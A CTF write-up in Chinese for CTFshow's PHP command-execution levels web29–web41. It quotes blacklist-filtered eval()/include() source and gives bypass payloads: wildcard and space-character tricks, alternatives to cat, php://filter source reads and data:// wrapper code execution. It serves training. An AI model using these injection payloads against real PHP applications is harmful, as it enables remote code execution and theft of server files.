CTFSHOW-WEB入门-命令执行
web29
①考点:通配符绕过
②关键源代码:
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag/i", $c))
{
eval($c);
}
}
③由于绕过了flag,直接/?c=system('cat f*');再查看源码,flag就出来了
web30
①这题增加了对命令执行函数的过滤
②关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c))
{
eval($c);
}
}
③常见的命令执行函数有
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
只有system函数是有回显的,其他函数可以通过echo来显示
④构造payload:
/?c=echo`cat f*`;
web31
①过滤了这些关键字以及空格,单引号和句号
②关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
{
eval($c);
}
}
③空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
④cat绕过
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
⑤解法一:payload如下
/?c=echo(`tac%09f*`);
解法二:payload如下
/?c=eval($_GET[a]);&a=system('cat flag.php');
解法二:hint:
show_source(next(array_reverse(scandir(pos(localeconv()))))
具体各个函数的用法写得很详细
web32
①考点:文件包含以及伪协议读取
②关键代码:
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
{
eval($c);
}
}
这次又过滤了分号,反引号,echo,左括号
③直接用include进行无括号的文件包含,分号用?>替代,payload如下:
/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
①关键代码:
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
{
eval($c);
}
}
②和上题解法一样
/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
①关键代码:
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
{
eval($c);
}
}
②只是又过滤了一个冒号,对解题没有任何影响,payload同上
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web35
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
{
eval($c);
}
}
②又多过滤了一个左尖括号,同样没什么影响,payload同上
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web36
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
{
eval($c);
}
}
②就是多过滤了个数字,payload还是不变
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag/i", $c))
{
include($c);
echo $flag;
}
}
②用data伪协议
data伪协议:将后面的字符当做PHP代码执行
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
③payload:
/?c=data://text/plain,<?php system("cat f*")?>
web38
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c))
{
include($c);
echo $flag;
}
}
②与上题相比,多过滤了一个php,用base64编码绕过即可
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==
③注意一下细节就是,这个data语句要用分号结尾不能用逗号,不然就回显逗号后面的内容
web39
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag/i", $c))
{
include($c.".php");
}
}
②题目提示:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
③payload如下:
/?c=data://text/plain,<?php system("cat *");?>
web40
①关键代码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c))
{
eval($c);
}
}
②过滤了好多符号,不过那个括号应该是中文括号,同web31,进行,payload如下:
/?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41
①关键代码
if(isset($_POST['c']))
{
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c))
{
eval("echo($c);");
}
}